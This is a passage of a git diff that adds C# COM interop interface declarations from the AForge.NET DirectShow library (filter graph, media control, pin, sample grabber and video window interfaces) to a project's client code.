UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100644 index 000000000..8f3fc4ee7 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100644 index 000000000..c6ba35760 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// Ìariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100644 index 000000000..d01bee8c5 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs new file mode 100644 index 000000000..e4ca82ecb --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs @@ -0,0 +1,102 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86899-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IMediaFilter : IPersist + { + #region IPersist Methods + + [PreserveSig] + new int GetClassID( + [Out] out Guid pClassID ); + + #endregion + + /// + /// This method informs the filter to transition to the new state. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// This method informs the filter to transition to the new state. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// This method informs the filter to transition to the new (running) state. Passes a time value to synchronize independent streams. + /// + /// + /// Time value of the reference clock. The amount to be added to the IMediaSample time stamp to determine the time at which that sample should be rendered according to the reference clock. That is, it is the reference time at which a sample with a stream time of zero should be rendered. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( [In] long tStart ); + + /// + /// This method determines the filter's state. + /// + /// + /// Duration of the time-out, in milliseconds. To block indefinitely, pass INFINITE. + /// Returned state of the filter. States include stopped, paused, running, or intermediate (in the process of changing). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( + [In] int dwMilliSecsTimeout, + [Out] out FilterState filtState ); + + /// + /// This method identifies the reference clock to which the filter should synchronize activity. + /// + /// + /// Pointer to the IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IReferenceClock pClock ); + + /// + /// This method retrieves the current reference clock in use by this filter. + /// + /// + /// Pointer to a reference clock; it will be set to the IReferenceClock interface. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IReferenceClock pClock ); + } +} + diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs new file mode 100644 index 000000000..4bf1d91f9 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs @@ -0,0 +1,32 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Provides the CLSID of an object that can be stored persistently in the system. Allows the object to specify which object + /// handler to use in the client process, as it is used in the default implementation of marshaling. + /// + [ComImport, + Guid("0000010c-0000-0000-C000-000000000046"), + InterfaceType(ComInterfaceType.InterfaceIsDual)] + internal interface IPersist + { + /// + /// Retrieves the class identifier (CLSID) of the object. + /// + /// + /// + [PreserveSig] + int GetClassID([Out] out Guid pClassID); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100644 index 000000000..ceed73f26 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100644 index 000000000..faea69d50 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100644 index 000000000..cb0328fab --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100644 index 000000000..07854ac69 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100644 index 000000000..4dc734019 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample bufferþ + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100644 index 000000000..ecb073926 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs b/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs new file mode 100644 index 000000000..25f3bfa11 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs @@ -0,0 +1,466 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface sets properties on the video window. + /// + /// + [ComImport, + Guid("56A868B4-0AD4-11CE-B03A-0020AF0BA770"), + InterfaceType(ComInterfaceType.InterfaceIsDual)] + internal interface IVideoWindow + { + /// + /// Sets the video window caption. + /// + /// + /// Caption. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Caption( string caption ); + + /// + /// Retrieves the video window caption. + /// + /// + /// Caption. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Caption( [Out] out string caption ); + + /// + /// Sets the window style on the video window. + /// + /// + /// Window style flags. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_WindowStyle( int windowStyle ); + + /// + /// Retrieves the window style on the video window. + /// + /// + /// Window style flags. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_WindowStyle( out int windowStyle ); + + /// + /// Sets the extended window style on the video window. + /// + /// + /// Window extended style flags. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_WindowStyleEx( int windowStyleEx ); + + /// + /// Retrieves the extended window style on the video window. + /// + /// + /// Window extended style flags. + /// + /// Return's 